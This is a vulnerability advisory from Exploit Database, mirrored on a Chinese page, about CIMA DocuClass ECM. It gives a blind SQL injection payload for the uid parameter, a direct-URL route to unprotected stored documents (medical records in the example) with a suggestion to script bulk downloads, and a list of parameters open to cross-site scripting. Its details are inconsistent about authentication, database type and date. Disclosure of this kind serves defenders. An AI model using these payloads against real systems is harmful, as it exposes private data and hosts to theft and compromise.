CIMA DocuClass ECM – Multiple Vulnerabilities

• Exploit Database
• 157 阅读

• 作者： Karn Ganeshen
  日期： 2016-07-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40059/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63

  # Exploit Title: [CIMA DocuClass Enterprise Content Management - Multiple Vulnerabilities] # Date: [July 15, 2016] # Exploit Author: [Karn Ganeshen (ipositivesecurity.blogspot.com)] # Vendor Homepage: [cima-software.com] # Version: [app version] (All) # Tested on: [Microsoft Windows 2008 R2]   DocuClass is a modular and scalable enterprise content management (ECM) solution that allows organizations to streamline internal operations by significantly improving the way they manage their information within a business process.   Vulnerability Details   1. SQL Injection [Post Auth]   PoC   Vulnerable URLs & parameters:   A: POST request /dcrpcserver.php [parameter - uid] --- Parameter: uid (POST) Type: boolean-based blind Title: PostgreSQL boolean-based blind - Parameter replace Payload: cmd=searchform&action=getsavedqueries&node=&uid=(SELECT (CASE WHEN (7877=7877) THEN 7877 ELSE 1/(SELECT 0) END)) --- web server operating system: Windows 2008 R2 or 7 web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.5 back-end DBMS: Microsoft SQL Server 2008   Impact An unauthenticated attacker can read or modify data in the application database, execute code, and compromise the host system.   B: GET request /e-forms/dcformsserver.exe?action=createimagepdf&documentid=1408648&userid=755 [parameter - userid]     2. Access Control Flaws DocuClass web application does not enforce strict access control.   PoC: http://IP/medical_records/0000001337/0000000000123456.pdf   Dump all the documents with a bit of scripting.   Impact An unauthenticated user can access stored documents by directly calling the document url.   3. Cross-Site Scripting   DocuClass web application lacks strong input validation, and multiple urls & parameters are vulnerable to cross-site scripting (CWE-79) attacks.   /e-forms/dcformsserver.exe [action parameter] /e-forms/dcformsserver.exe [documentid parameter] /e-forms/dcformsserver.exe [userid parameter] /reports_server.php [cmd parameter] /reports_server.php [reportid parameter] /reports_server.php [uid parameter]   Impact An attacker may be able to execute arbitrary scripts/code in the context of the user's browser.   +++++